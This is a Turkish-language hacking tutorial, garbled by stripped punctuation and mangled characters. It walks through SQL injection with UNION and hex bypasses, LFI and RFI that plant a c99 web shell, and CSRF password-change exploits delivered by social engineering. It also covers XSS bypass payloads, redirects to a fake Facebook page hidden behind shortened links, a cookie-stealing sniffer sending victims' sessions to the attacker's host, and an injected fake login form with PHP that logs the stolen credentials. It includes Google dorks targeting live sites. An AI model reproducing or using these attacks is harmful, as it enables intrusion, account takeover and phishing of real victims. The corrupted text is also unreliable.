Taktiklerimiz aynıdır tekrar aynı site ile devam edelim
wwwsayfacomsayfaphpid=-1+union+select+123group_concat(table_name)56789+from+information_schematables+where+table_schema=database()--
şeklinde yaptık bize tablo isimlerini vermedi
wwwsayfacomsayfaphpid=-1+union+select+123group_concat(table_name)56789+from+information_schematables+where+table_schema=database()--
wwwsayfacomsayfaphpid=-1+union+select+123group_concat(table_name)56789+from+information_schematables+where+table_schema=database()--
yapıyoruz karşımıza tablo isimleri geliyor )) Mantığını anladığınız iccedilin kısa kesiyorum
e)
Şimdi sıra geldi ccedilektiğimiz tablo isimlerinin iccedilerisindeki suumltuumlnları sorgularken karşımıza gelen hatayınasıl aşabileceğimizden Ccedilektiğimiz tablo isimlerinden birisi admin olsun biz admin tablosununiccedilindeki kolonları yani suumltuumlnları alacağız şoumlyle bir sorgu duumlşuumlnuumln
wwwsayfacomsayfaphpid=-1+union+select+123group_concat(column_name)56789+from+information_schemacolumns+where+table_schema=database()+and+table_name=admin--
buradaki sorguda ne dedik ldquoAdmin tablosunun iccedilerisinde kolonları bize verrdquo
Sorguyu goumlnderiyoruz fakat bize kolonları vermiyor burada hex devreye girecek database() ve adminsorgusunu hexleyerek sorgu yapmayı deneyeceğiz
wwwsayfacomsayfaphpid=-1+union+select+123group_concat(column_name)56789+from+information_schemacolumns+where+table_schema=0x64617461626173652829+and+table_name=0x61646d696e--
Evet bu şekilde goumlnderdiğimiz sorguda kolon isimleri karşımıza geldi ))
Evet sql injection da bypass serisi burada sona eriyor Umarım anlatabilmişimdir sizde kolaylıklaanlamışsınızdır
Siz dediğimi unutmayın SQL İnjection lastik gibidir nereye ccedilekersek oraya gidicek
LFI(Local File İnclude)
1- Local File İnclude Nedir
LFI (Local File İnclude) Yerel dosya ccedilağırmak anlamına gelirBu accedilık şuanda bu o kadar guumlnceldeğildirAma bazı sitelerde nadir olarak goumlruumllebiliyorBen bu accedilıktan bahsetmeyecektim ama WebGuumlvenlik Accedilıkları denildiği zaman tuumlm WEB UYGULAMALARINI KapsıyorBu sebep yuumlzuumlndenbahsedeceğim
2- Local File İnclude Mantığı Nedir
LFI Accedilığının mantığı server uumlzerinde dosyaları okumaktırOumlrnek olarak etcpasswd dosyasındanbahsedeyimServerdaki tuumlm sitelerin USERrsquolarının bulunduğu dosyadırBu accedilık sayesinde Serverdakidosyaları okuma şansımız oluyor
3- Saldırı Anı (Accedilığın Tespiti)
Bir Web Sayfası duumlşuumlnuumln wwwsitecomsayfaphpid=2 şeklinde olsunBurada LFI Olup olmadığınışoumlyle anlayabiliriz
wwwsitecomsayfaphpid= yaptığımızda sayfada eğer bir SQL İnjection hatası veya dosyabulunamadı şeklinde bir hata varsa orada LFI OlabilirPeki Hata olarak nasıl bir hatadan bahsediyoruz
Bize verilen hatadan yola ccedilıkalım
Warning include() ldquohomeuserpublic_htmlsayfaphprdquo
Şeklinde bir hata alıyorsak LFI Vardır diyebiliriz
4- Saldırı Anı 2 (Accedilığın Kullanımı - Aksi Halde Bypass)
Ne demiştikSitemizde Warning include() ldquohomeuserpublic_htmlsayfaphprdquo şeklinde hata aldık
Accedilığı etcpasswd şeklinde etcpassword dosyasını okuyarak anlayabilirizFakat burada dizinsayısı oumlnemlidirHatada kaccedil adet dizin var bakalım
home -gt 1
user -gt 2
public_html -gt 3
sayfaphp -gt 4
Evet 4 Adet dizin mevcutturKoyacağımız işareti 4 adet olmalıdır
wwwsitecomsayfaphpid= etcpasswd şeklinde
-HTML Code
HTML kod ccedileviriciler mevcuttur internet uumlzerindeEncode edeceğimiz komut
Komut etcpasswd
Encode 2F2F2F2Fetc2Fpasswd
Tekrar deneyelim
wwwsitecomsayfaphpid=2F2F2F2Fetc2Fpasswd ve okumak istediğimizetcpasswd dosyasını okuduk
- CharCode
CharCode Mozillanın Hackbar Eklentisinde MevcutturŞimdi tekrardan bir bakalım
wwwsitecomsayfaphpid=etcpasswd şekline okumak istediğimizde tekrar okumuyorHTMLcode encode şeklinde yaptık gene başarısızŞimdi CharCode şeklinde yapacağız
Komut etcpasswd
CharCode StringfromCharCode(46 46 47 46 46 47 46 46 47 46 46 47 101 116 99 47 11297 115 115 119 100)
Evet doumlnuumlştuumlrduumlkŞimdi tekrar bakalım
wwwsitecomsayfaphpid=StringfromCharCode(46 46 47 46 46 47 46 46 47 46 46 47 101116 99 47 112 97 115 115 119 100)
Şeklinde okudukDosyamız başarılı bir şekilde okundu )
5- Saldırı Anı 3 (Accedilığı Kullanarak Siteye Dosya Yedirmek)
Accedilığın tespitinden bahsettikŞimdi bu accedilığı kullanarak dosya dahil edeceğizOumlnce mozillanın tamperdata eklentisini kurunDaha Tamper Data yı accedilınStartrsquoa tıklayın vewwwsitecomsayfaphpid=etcpasswd00 şeklinde sayfayı yenileyinOumlnuumlnuumlze gelen ilkuyarıya ldquoTAMPERrdquo Şeklinde cevap verinKarşınıza
Şeklinde bir panel gelecekUser-Agent Kısmındaki yazıları silin ve lt system(ldquocatwwwsitecomc99txt -O c99php ldquo) gt şeklinde Dosya adresinizi yazınYanlız dikkat edin yuumlklerkendosyayı txt uzantılı olmasına dikkat edinYazdıktan sonra tamam diyoruzVe dosyamız dahil edilmişoluyor
wwwsitecomc99php şeklinde ccedilagırabilirsiniz
6- Local File İnclude Nerelerde Tespit Edilebilir
a-) Search kutusu
Bir Search kutusu duumlşuumlnuumln
Buraya LFI Komutunu girip ara butonuna tıklayalım etcpasswd00 şeklinde
Eğer ekrana
Şeklinde komutumuz ccedilalışırsa bu demek oluyor ki Search dosyasında LFI Accedilığı mevcuttur
RFI(Remote File İnclude)1- Remote File İnclude Nedir
RFI(Remote File İnclude) Uzakdan dahil etmek anlamına gelirEskisi kadar olmasa da şuanda mevcutolan siteler var
2- Remote File İnclude Mantığı Nedir
Mantığı accedilık bulduğumuz siteye istediğimiz sitedeki bir dosyayı dahil etmektir
3- Saldırı Anı (Accedilığın Tespiti - Accedilığın Kullanımı - Aksi Halde Bypass)
Bir web sitesi duumlşuumlnuumln wwwsitecomdosyaphpid=2 olsunİd= değerinden sonraki 2 yi siliyoruz
wwwsitecomdosyaphpid= oluyorŞimdi burada accedilık olup olmaığını nasıl anlarız
Bir hostrsquoa dosyanızı txt uzantılı olarak atınDaha sonra sitede wwwsitecomdosyaphpid=httpwwwsitemcomc99txt şeklinde ccedilağırınEğer sayfada ccedilağırdığınızdosya ccedilalıştıysa accedilığı hem bulmuş hemde hazır hale getirmiş oluyorsunuz zaten
4- Remote File İnclude Nerelerde Tespit Edilebilir
a-Search kutusu
Bir Search (Arama) duumlşuumlnuumln
ŞeklindeBuraya httpsitecomc99txt şeklinde dosyanızın adresini txt uzantılı yazıp ara butonunatıkladığınızda eğer karşınıza dosya geliyorsa yani ccedilağırdığınız dosya burada RFI Accedilığı mevcutturBukadar basittir
CSRFXSRF (Cross-Site RequestForgery)
1-Oumlnsoumlz
XSRF CSRF Guumlvenlik zaafiyetleri guumlnuumlmuumlzde bir ccedilok yerde mevcutturCcedilok geniş kapsamlı bir accedilıkolmakla birlikte kullanımı da ccedilok kolaydır aslındaAma ccediloğu kimse karmaşık goumlruumlp hemen ipin ucunubırakmışlardırCcedilok yanlış ccediluumlnki bu yolda devam ederken tuumlm Web Application tuumlrlerini oumlğrenmek bizimyararımıza olurTabi misyon dahilinde
XSRF CSRF Accedilıkları aslında aynıdırYani XSRF ve CSRF diye ayrılması kafamızı karıştırmasın
2- Cross Site Request Forgery Nedir
Attacker bir web sitesinin kaynak koduna goumlmuumlluuml olan Javascript veya HTML Kodlarını uygun birexploit haline getirip kurbanın haberi olmadan session (oturum) bilgilerini elde etmesiyle olurBu accedilığısadece kurbanın şifrelerini almak diye bakmayalım ccediluumlnkuuml bu zaafiyet para transferi kredi kartıhırsızlıkları ve birccedilok koumltuuml emellere alet edilip milletin emeğini ccedilalabiliyorBurada yapılan tek şeykurbana goumlnderdiğimiz linke tıklamasıdır Kurban bunu yaparken olaylardan habersizdirTereyağındankıl ccedileker gibi bilgileri alır attacker
3- Cross-Site Request Forgery Nerelerde Kullanılır Ne İccedilin Kullanılır
Bu zaafiyet buumltuumln web applicationlarda bulunabilirYani ASPPHPHTML Sitelerde dahil olmak uumlzere
Yukarıda bahsettiğim gibi session bilgilerini ccedilalmak kredi kartı bilgilerini ccedilalmak ve bir ccedilok koumltuuml ameliccedilin kullanılır
4 Nasıl Kullanılır - Exploitlenir
Zaafiyeti exploitleme basittirHemen bir oumlrnekle devam edeyim
Bir Web sayfası hayal edinBu Web Sayfasında session şifrelerini değiştirme dosyası olsunwwwsitecomforumpasswordegistirphp şeklindeBu bir forum sitesi olarak duumlşuumlnuumlnSiz foruma girişyaptınız ve şifrenizi değiştirmek istiyorsunuzŞifrenizi değiştirdiğiniz vakit
wwwsitecomforumpassworddegistirphpyenipassword=mahserat
Burada sizin şifreniz mahserat olarak değiştirilmiştirYani linkte goumlreceğiniz gibi burada bir XSRFCSRFzaafiyeti mevcutturHemen degistirdiğniz şifre linkinin kaynak koduna goumlz atalımKaynak kodundanltformgtltformgt taglarını arayalım
Burada goumlrduumlğuumlnuumlz gibi bilgiler GET methoduyla alınmışGETPOST Methodu tercih edileceği yerde
Daha sonra kullanıcıdan alınan veri passworddegistirphp dosyası aracılığıyla değiştirilir
Şimdi biz bunu exloitleyelim yani kullanılır hale getirelim şimdi kaynak kodlarını tekrar alıyoruz birnotepad iccedilerisine yapıştırıyoruzDaha sonra action=rdquopassworddegistirphprdquo dosyasının tam linkinibelirliyoruzYani action=rdquohttpsitecomforumpassworddegistirphprdquo şeklindeDaha sonraname=rdquosifrerdquo kısmına şifremizi yazıyoruz name=rdquo12345rdquo şeklindeDeğiştirdikten sonra kodlara tekrargoumlz atalım
Evet tamamdırŞimdi bunu html uzantılı kaydediyoruz ve hostumuza atıyoruzSonrasında linki kurbanagoumlndereceğizBurada devreye SM (Sosyal muumlhendislik) giriyorSosyal muumlhendislik bilginizin birazolması gerekirMesela şoumlyle yedirebiliriz kurbana
NOT Kurbanın hoşlandığı tarz yolundan gidersiniz daha iyi sonuccedil alırsınızOumlrnek olarakkurbanımız Play Station oynamayı seven biri biz kurbana bu linki Play Station uygulaması veyaoyunu şeklinde yedirebilirizOumlrnek
Merhaba kardeşim
Bir Play Station uygulaması geliştirdimBir goumlz gezdirirmisin nasıl olmuş
Uygulama httpmehmetkelepceorgdosyahtml
Gibisinden bir SM Youmlntemi ile yedirebilirsinizBurada dosyahtml bizim exploitlediğimiz uygun halegetirdiğimiz kodlardırTıkladığı anda kurbanın şifresi 12345 olarak değişecek
5- XSS ve CSRF Arasındaki Benzerlikler
CSRF Saldırısı XSS Saldırısında iccediline alan bir saldırı tipidirYani XSSrsquoin olduğu yerde CSRF accedilığınınolması 80 gibi bir orandır
Evet saygı değer canlarBu uzun seruumlvenimiz burada sona erdi ) Web Guumlvenlik Accedilıkları harikulade birboumlluumlmalanrsquodırDaha da ilerlemeniz ilminizi ve bilginizi daha da yukarılara ccedilıkarmanız dileğiyle
1-Cross Site Scripting Nedir
Kelime manası ldquoCcedilapraz Kod Ccedilalıştırmakrdquo dırTehlikeli bir accedilık olduğu gibi ccedilok basit bir zafiyettirCcedilokbuumlyuumlk sistemlerde bile rastlanabilen bir tuumlrrsquoduumlr
2-Cross Site Scripting Hangi Mantığa Dayalıdır
Web Sayfalarında oturum accedilarken ldquoBeni Anımsardquo ldquoOturumumu Suumlrekli Accedilık Tutrdquo şeklindeseccedileneklerle karşılaşırızBu seccedileneklere tıkladıktan sonra oturum accediltığımızda Sistem tarafındanbilgisayarımıza ldquoCookierdquo diye tabir ettiğimiz kuumlccediluumlk metin dosyaları saklanırBunun sebebi o Web
sayfasına bir dahaki ziyaretimizde bizi tanıması ve bizden giriş iccedilin kullanıcı adı ve şifreistememesidirXSS Accedilığının mantığı da buna dayalıdırBir Web Sayfasında XSS Zaafiyeti bulup o
Web Sayfasına uumlye olan kişilerin oturum bilgilerini yani Cookielerini ccedilalıp Cookie değişikliğine sebepolup hesabı ele geccedilirmektir
3-Cross Site Scripting Accedilığı İccedilin Lazım Olan Metaryeller
Bir Web sayfasında XSS accedilığının olduğunu anlamak iccedilin bize uygun bir tarayıcı lazımBen MozillaKullanıyorumSiz Dilerseniz Opera Kullanabilirsiniz
Accedilığı bulduktan sonra hedef sitenin Admin şifresine ulaşmak istiyorsak bize lazım olacak şey bir XSSSniffer kurmaktırBunu ilerleyen vakitlerde aşağıda goumlreceğiz
4-Cross Site Scripting İle Neler Yapabiliriz
Yukarıda bahsettiğim gibi bir web sitesinde XSS Zafiyeti bulup o web sitesindeki Kullanıcıların veyasite youmlneticisi olan Adminrsquonin Cookielerini ccedilalıp hesabı ele geccedilirebilirizXSS Accedilığı sadece buna
yaramazJavascript kodlarıyla backlink yapabilir yada kurbana sağlam bir Keylogger yedirebiliriz
5-Cross Site Scripting Accedilığı Nerelerde Bulunur
a-) Search Kutularında
XSS accedilığı bir ccedilok yerde bulunabilirEğer bir XSS Accedilığı arıyorsanız sizlere birkaccedil dork verip onunuumlzerinde denemeler yapabilirsinizDork
inurlrdquosearchphpid=rdquo
inurlrdquoindexphpid=rdquo
inurlrdquokayitphpid=rdquo
bu dorklar ccediloğaltılabilir
Search (Arama) Kutularında id= değeri ziyaretccedili defterleri Kayıt Formları Yorum Formları vbyerlerde de bulunabilirBir Search kutusu duumlşuumlnuumln
Search kutusuna XSS accedilığının olup olmadığını anlamak iccedilin bir alert kodu yazalımltscriptgtalert(ldquoBuralar eskiden hep XSS dirdquo)ltscriptgt
Yazdıktan sonra arama butonuna tıklıyoruz Eğer accedilık mevcut ise ekrana bir alert yansıyacaktır şuşekilde
b-) id= Değerinin Bulunduğu Yerlerde
Bir Web sayfası duumlşuumlnuumln wwwhedefsitecomdegerphpid=3 şeklinde olsunId= değerinin sağtarafında bulunan rakam harf kelime veya her ne ise silip onun yerine accedilık olduğunu anlamamız iccedilin
alert kodunu yazıyoruz
wwwhedefsitecomdegerphpid= ltscriptgtalert(ldquoBuralar Eskiden Hep XSS di rdquo)ltscriptgt
Daha sonra bu goumlnderdiğimiz sorgu ile ekrana alttaki şekilde bir alert yansıyorsa accedilık olduğunu tekraranlıyoruz
c-) Ziyaretccedili Defterlerinde (STORED XSS)
Uumlstte goumlruumllen resim bir sitede bulunan ziyaretccedili defteridirZiyaretccedili Defterleri web sayfaları iccedilin ccediloktehlike arz eden yerlerdirBu zaafiyet tuumlruumlne STORED XSS Zaafiyeti denilirBuraya yazdığımız bir
HTML veya Javascript kodu herkez tarafından goumlruumllebildiği iccedilin sayfada ccedilalıştığında ziyaretccedili defterinegiren herkez tarafından sizin girdiğiniz kod ccedilalışacaktırYani gireceğiniz HTML Meta youmlnlendirme kodu
sayfaya giren şahısları hedef adreslere youmlnlendirecektirBu saldırıya biraz daha suumls katmak iccedilinPhising sayfanıza veya Fake sayfanıza youmlnlendirme yapabilirsinizŞimdi burada goumlruumllen kutucuklara
XSS Alert kodunu yazıyoruz
Eğer accedilık varsa sayfa bizim kodumuzu ccedilalıştıracaktırYani ekrana alert gelecektir
d-) Kayıt Formlarında
Kayıt Formları XSS Accedilığı iccedilin olanak sağlıyorKayıt Formları genellikle Forum sitelerdemevcutturForum siteleri ccediloğunluk olarak hazır sistem kullanırlar(MyBB Vb SMF vs vs)
Eğer bir forumda hazır sistem kuruluysa veya suumlruumlm olarak belirli bir suumlruumlmuuml varsa ki genelde olurExploit sitelerinden O sistemin suumlruumlmuumlnuuml araştırabilir XSS Accedilıkları mevcutsa Exploit yardımıyla accedilığısoumlmuumlrebilirsinizBiz sistem kullanılmayan bir forum sitesinden devam edelim ) Uumlstte goumlruumllduumlğuuml gibi birkayıt formu mevcutBuradaki kutucuklara tıpkı ziyaretccedili formlarındaki gibi XSS Alert kodlarımızı entegre
ediyoruzEğer accedilık mevcutsa alert alınır
e-) Yorum Formlarında
Bu şıkkımızı Cyber-Warriorrsquodan alıntı yaparak anlatayım
Goumlruumllduumlğuuml gibi bir konun altında mevcut olan yorum yazma texti
Burada Mesaj text boumlluumlmuumlne XSS Alert kodumuzu yazıyoruz
Evet XSS Alert kodumuzu da yazdıktan sonra cevap yaz butonuna tıklıyoruzEğer ki XSS Accedilığıolsaydı alert alacaktıkKonuya giren kişiler tarafından da goumlruumllecektiYani bu kod onlar konuya girildiği
esnada ccedilalışacak ve onlara da alert verecektiBuraya ben XSS Alert kodu değil de Fake sayfamayoumlnlendirmesi iccedilin bir kod yazsaydım konuya giren kişiler benim belirlediğim adrese youmlnlenecektiAma
oumlyle bir accedilık olmadığı iccedilin CW lsquode başka kapıya ))
6-Saldırı Anı (Accedilığın Bulunması) - Accedilığın Bypass Edilmesi(Engellerin Aşımı)
Bir Web Sayfası duumlşuumlnuumln wwwhedefcomindexphpid=
XSS Accedilığı arayalım hemen wwwhedefcomindexphpid= ltscriptgtalert(ldquoMahserrdquo)ltscriptgt
Yaptık Ekrana alert yansımadıPesmi edeceğiz Hayır tabi ki deHerşeyin bir yolu olduğu gibibununda bir yolu varNormal şartlarda bu sitede accedilık olduğunu duumlşuumlnuumlnAma bize alert vermediBizde
bu accedilığı bypass ederek ekrana alertrsquoımızı alacağızNasıl mı
a-) HTML Bypass Code
Evet ilk bypass youmlntemimizde ltscriptgtalert(ldquoMahserrdquo)ltscriptgt Alert kodumuzu HTML Encodeedecez yani ŞifreleyeceğizHemen bakalım
Ne Yaptık HTML Encoder ile kodumuzu şifreledikŞimdi bu şekilde accedilık analizi yapalım
wwwhedefcomindexphpid= ltscripttype=textjavascriptgtdocumentwrite(rsquou007Fu003Cu0073u0063u0072u0069u0070u0074u003Eu0061u006Cu0065u0072u0074u0028u0022u004Du0061u0068u0073u0065u0072u0022u0029u003Bu003Cu002Fu0073u0063u0072u0069u0070u0074u003Ersquo)ltscriptgt
Bu sefer ekrana alert yansıdığını goumlreceksiniz
b-) Bypass JavaScript Code
Evet bu şıkkımızda ise Javascript kodlarıyla oynayarak bypass youmlntemini gerccedilekleştiricezTekrarhedef site uumlzerine yoğunlaşalım
wwwhedefcomindexphpid= ltscriptgtalert(ldquoMahserrdquo)ltscriptgt
Şeklinde giriyoruzAlert alamadıkHemen kodlarla oynayalım farkı goumlrelim
Evet kodumuzla oynadık tekrar hedef site uumlzerinde accedilık analizi yaptığımızda alert alacağız
c-)Normal Bypass
Sıra Geldi Normal Bypass YolunaBu bypass tuumlruumlnde alert kodumuzla pek oynamayapmayacağızAlert kodumuzun başına bir muumldahalede bulunarak alert alacağız
Evet bu şekilde de farklı bir bypass youmlntemi uyguladıkBurada ki ldquogt kodu daha anlaşılır ve koda netlikkatarBu yolla da bir alert aldıkSıra geldi accedilığın uygun kullanımına
7-Saldırı Anı2 (Accedilığın Uygun Kullanımı) -
Cross Site Scripting accedilığını bulduktan sonra en oumlnemli faktoumlrlerden birisi de accedilığın uygunkullanımıdırAccedilığı ne kadar iyi soumlmuumlruumlrseniz sizin iccedilin o derece iyidirXSS Accedilığının sadece site
hacklemek iccedilin değil Siteye uumlye kişilerin bilgilerini almak iccedilin hesapları ele geccedilirmek iccedilin veya bir
kurbana phising fake benzeri sayfalar yutturmak iccedilin de kullanabilirsinizBiz bu sefer XSS Accedilığınıkurbanı fake facebook sayfamıza youmlnlendirmek iccedilin kullanacağızHemen başlıyoruz
Hedef sitemiz wwwtargetcom olsunAccedilığı bulduğumuz dosya homephp dosyası olsun ve veriyi idile ccedilagırsın wwwtargetcomhomephpid= şeklinde
Şimdi biz buraya oumlyle bir kod yazağız ki bizi hazırladığımız fake facebook sayfasına youmlnlendirsin
Yazacağımız kod şu şekildedir
wwwtargetcomhomephpid=gtltscriptgtdocumentlocationhref= wwwfakefacebooksayfamcomltscriptgt
Evet sorguyu site uumlstuumlnde ccedilagırdığımız da bizi wwwfakefacebooksayfamcom adresineyoumlnlendiricektirBunu kurbana atacaksınızFakat link ccedilok uzun kurbanımız burada bir şeytanlık
olduğunu anlayabilirPeki ne yapacağız httpsbitlycom adresine giriyoruzSağ uumlst koumlşede birkutucuk mevcutO kısma wwwtargetcomhomephpid=gtltscriptgtdocumentlocationhref=
wwwfakefacebooksayfamcom ltscriptgt
adresimizi yazıyoruz ve Shorten butonuna tıklıyoruz Burada yaptığımız işlem link kısaltmaktır
Bize httpbitly49856821 Şeklinde bir kısaltılmış link verecekKurban link kısa olduğu iccedilinşuumlphelenmezBu şekilde kurbana yedirme şansımız vardır
8-Saldırı Anı3 (Uygun Sniffer YazılımıSniffer Nedir)
Sniffer Nedir
Sniffer kelime manasıyla koklayıcı anlamına gelirSniffer birccedilok şeyi iccedilin kullanılabilirBiz burada XSSSniffer hazırlayacağızXSS Sniffer ne işe yarar diye soracaksınızBir XSS Accedilığı bulduğumuzu farzedelimAdmin in veya Siteye uumlye olan kullancıların Cookiersquolerini Ccedilalıcaz ve Kendi cookielerimizle
değiştirip o kullanıcı adına giriş yapmış olacağızBulduğumuz accedilığı Snifferrsquoa kuracağızDaha sonrakendi hostumuza atacaz ve snifferrsquoı kurbanrsquoa tıklatacağızBu Şekilde Kurbanın Cookielerini
ccedilalacağızYani biraz olsa da Sosyal Muumlhendislik ile alakalıdır
İşleme başlamadan Sniffer dosyalarını vereyim sizlere
Bu linkten ulaşabilirsiniz - gt httpswwwboxcomsd45q4d5ywdzxwcn7n7wn
Hemen kuruluma geccediliyoruz
Editleyeceğimiz dosyalar ldquochjs ve indexhtml ilk olarak chjs dosyasını accedilıyoruz
httpSİTE ADRESİSniffersnifferphpc= Şeklinde bir yazıyla karşılaşıyoruz SİTE ADRESİ yazankısma dosyaları atacağımız sitenin adresini yazıyoruz(Sniffer dosyası adı altında)
httpbenimsitemcomSniffersnifferphpc= kaydedip kapatıyoruz
Şimdi ise indexhtml dosyamızı editleyeceğiz Notepad de accediltığınızda httpXSS ADRESİ= şeklindebir yazıyla karşılaşacağızXSS Adresi yazan kısma XSS Accedilığını bulduğumuz siteyi yazalım
httptargetcomindexphpid= yazdıktan sonra biraz sag tarafta bulunan httpSİTEADRESİSnifferchjs
SİTE ADRESİ yazan kısmada uumlstte olduğu gibi kendi sitemizin adini yazıyoruz
httpbenimsitemcomSnifferchjs yazdıkKaydedip kapatıyoruz
Daha sonra sniffer klasoumlruumlmuumlzuuml sitemize FTP aracılığıyla atıyoruzHemen kendi sitemizdeccedilalıştırıyoruz snifferımızı httpbenimsitemcomSnifferlogphp şeklinde log panelimizi ccedilağırıyoruzBu
adres cookielerin log olarak tutulacağı adresdirGiriş yaptığımızda bizden Kullanıcı adı şifreisteyecektirKullanıcı adı admin şifresi adminrsquodir
Girdikten sonra bizi log paneline aktaracaktırAccedilığı bulduğumuz siteden bir kurbana veya adminrsquoe linkitıklatmadığımız iccedilin Log panelinde ldquoHenuumlz Log bulunamadırdquo şeklinde bir yazı ccedilıkacaktır
Bizim adminrsquoe tıklatmamız gereken link indexhtml dosyasıdırYanihttpbenimsitemcomSnifferindexhtml lsquodirBuraya girdiğiniz de bir admin paneli gelecek
karşımızaBu admin panelini sahte bir admin panelidirYani adminrsquoin anlamaması iccedilin kurulmuş birpaneldirSizin yapacağınız sadece adminrsquoe veya kurbana httpbenimsitemcomSnifferindexhtml
linkini tıklatmaktırBiraz sosyal muumlhendislik gerekiyor burada tıklatmak iccedilinTıklattıktan sonra adminrsquoinveya kurbanın cookie bilgileri
httpbenimsitemcomSnifferlogphp adresine gelecektir
9-Sonuccedil (Elimize Geccedilen Cookie (Ccedilerez)rsquoi Değiştirme ve Hedef Veriye Ulaşmak)
Cookieleri ccedilektik Cookiersquoler elimizdeCookielerin son satırında Username ve Password kısmıbulunmaktadırYani şu şekilde
[Username]= admin UserİnfoCookie[Password]= mahserat
Evet goumlruumllduumlğuuml gibi kullanıcı adı admin şifresi de mahserat mışBu şekilde Adminin BilgilerinedeErişmiş olduk
10-Cross Site Scripting Accedilığı Olan Bir Siteye Fake Login Sayfası Bırakmak
Son olarak XSS Accedilığı bulduğumuz bir siteye Fake bir Login sayfası bırakacağız
Accedilığı bulduğumuz link wwwsitecomindexphpid= olduğunu farz edelimBuraya HTML kodlarıyla birLogin Kısmı oluşturucağız
wwwsitecomindexphpid= gtlthmtlgtltheadgtltmeta content=texthtmlcharset=ISO-8859-1http-equiv=content-type gtlttitlegtlttitlegtltheadgtltbOdygtltdiv style=text-aling
centergtltform method=POST action=fakesayfaphp name=formgtFake Login ltbrgtltbrgtKullanıcıadıltbrgtltinput type=text value= gtltbrgtSifreltbrgt ltinput name=Pass type=password
gtltbrgtltbrgtltinput name=valid value=Gonder type=submit gtltbrgtltformgtltdivgtltbOdygtlthtmlgt
Bu Şekilde bir HTML Kodu enjekte ettik siteyeFake bir Login kısmı uumlrettikfakesayfaphp dosyasınadikkat edelim arkadaşlar
fakesayfaphp
ltphp
$login = $_POST[rsquologinrsquo]
$password= $_POST[rsquoPasswordrsquo]
$open = fopen(rsquologhtmrsquo rsquoa+rsquo)
fputs($open rsquoLoginrsquo $login rsquoltbrgtrsquo rsquo
Password rsquo $password rsquoltbrgtrsquo rsquoltbrgtrsquo)
gt
fakesayfaphp dosyası loghtm dosyası oluşturuyorLoglarımızı tutuyor
Evet arkadaşlar artık XSS lsquoi ayrıntısına kadar oumlğrendiniz
SQL İnjection1- SQL İnjection Nedir
SQL (Structured Query Language)
SQL İnjection duumlnya uumlzerinde en ccedilok ilgi goumlrev Web Uygulama zaafiyetidirSitelerdeki SQLveritabanına odaklı bir saldırı ccedileşididirKaba tabirle SQL veritabanının ccedilalıştıracağı SQL komutlarıylaSQL İnjection zaafiyeti bulunan bir sitedeki veri geccedilişini kullanarak kendi mevfaatlerimiz ccedilerccedilevesindehedef veriyi ccedilalmak iccedilin kullanılır
2- SQL İnjectionrsquoun Mantığı Nedir
Deminde bahsettiğim gibi SQL Veritabanı odaklı bir zaafiyet olduğu iccedilin direk veritabanıyla ilgilisaldırılar yapılırYani bize gerekli olan biraz SQL Komutu bilmektirAkılda kalıcılık accedilısından komik biroumlrnek vereyim
Bir HEDİYE kutusu varO hediye kutusunun iccedilerisinde hediyenin olduğunu duumlşuumlnelimKutuyu accediltınızve baktınız ki iccedilerisinde bir kutu daha varOnu da accediltınız onun iccedilerisinde de bir kutu var onu da accediltıktansonra son kutumuza geliyoruzO kutunun iccedilerisinde hediye yani hedef verimiz mevcuttur )
İlk kutuyu tablo olarak İkinci kutumuzu tablo iccedilerisindeki kolon olarak Uumlccediluumlncuuml kutumuzun iccedilerisindekihediyeyi de hedef veri olarak goumlrebilirizYani iccedil iccedile geccedilmiş bir yapı olarak hayal edebiliriz
3- Temel SQL Komutlarını Tanıyalım
SQL İnjection saldırısında bulunurken ne kadar SQL Komutunu tanıyorsanız o kadar iyidirCcediluumlnkuumlSQL İnjection saldırısını yaparken SQL Komutlarını kullanırız
SELECT - Veri seccedilmek iccedilin
CREATE - Tablo yaratmak iccedilin
INSERT - Tablo eklemesi yapmak iccedilin
UPDATE - Veri guumlncelleme
DELETE - Veri silmek
DROP - Tablo silmek
FROM - (- den - dan beri )
WHERE - Nereden neresi nerede
Kısacak bu komutlarla SQL İnjection saldırısını geccedilekleştireceğizBunları bilmekte fayda var
4- SQL İnjection ile Neler Yapılabilir
SQL İnjection saldırısı ile veri silebilir ekleyebilir değiştirebilirizBunları yapmak iccedilin sistemde birkaccediliznimizin olması gerekiyorYani sistem bize veri silme ekleme yetkisi vermiyorsa biz zaten bunlarıyapamayızSQL İnjection saldırısı ccediloğunlukla hedef sistemin youmlnetici şifresini ele geccedilirerek sistemeyoumlnetici gibi giriş yapıp sistemi hacklemek iccedilin kullanılırAma ne yazık ki SQL İnjection saldırısı ileyapabileceklerimizin sadece bunlarla sınırlı olmadığını uumllkemizdeki ccediloğu kimse bilmiyorGeccedilenlerde biryerde okumuştum onu da sizlerle paylaşayımYabancı uumllkede bir Hacker buumlyuumlk bir sisteminde SQLİnjection accedilığı bulmuşDaha sonra veritabanın da ki tuumlm kredi kartı bilgilerini ccedilalmışToplam olarak kaccedilkredi kartı ccedilaldığını bilmiyorum ama ccedilok yuumlkluuml miktarda mevla kaldırmışAma biz tabii ki Dinimizingereğince haram para ve kazanccedilta goumlzuumlmuumlz yokHaram olan bir kazancın bize yararıdokunmayacağını biliriz
5- SQL İnjection Accedilığı Nerelerde Bulunabilir Belirli Bir Dorkrsquou Varmıdır
SQL İnjection ccedilok geniş kapsamlı ve ccedilok tehlikeli bir accedilıktırTuumlm sistemlerde rastlanabilen bir accedilıktır
SQL İnjection saldırılarının id= değerlerinin bulunduğu sitelerde Search (Arama) kutucuklarındaformlarda vs yerlerde bulunabilirYani veri alışverişinin yapıldığı her yerde bulunabilirSize başlangıccediliccedilin bir Dork vereceğimDorkrsquou Googlersquoda arattığınızda karşınıza bir suumlruuml site gelecekBu sitelerde iddeğerinin bulunduğu yerlerde SQL İnjection accedilığı araması yapabilirsiniz
Dork inurlrdquophpid=rdquo sitesy -gt bu dorkta şunu dedik(Suriye) Sy sitelerinde phpid= değerininbulunduğu siteleri goumlsterSQL İnjection saldırısına aşağıda değineceğiz
6- Ccedileşitli Yerlerde SQL İnjection Saldırısı Yapmak
Yukarıda da bahsettiğim gibi SQL İnjection saldırısını birccedilok yerde yapabilirizŞimdi bu accedilığı iyice birtanıyalım
a-) SQL İnjection Accedilığı Nasıl Tespit Edilir (Tipik SQL İnjection Hatası)
Bir Web Site duumlşuumlnuumln wwwsitemcomsayfaphpid=1 şeklinde
Burada SQL Accedilığının olup olmadığını id= değerinin sol tarafındaki değerin sonuna veya değerinbaşına lsquo veya lsquoa koyarak anlayabilirizYani linkimizin son şekli
wwwsitemcomsayfaphpid=1rsquo veya wwwsitemcomsayfaphpid=1rsquoa şeklinde oluyor
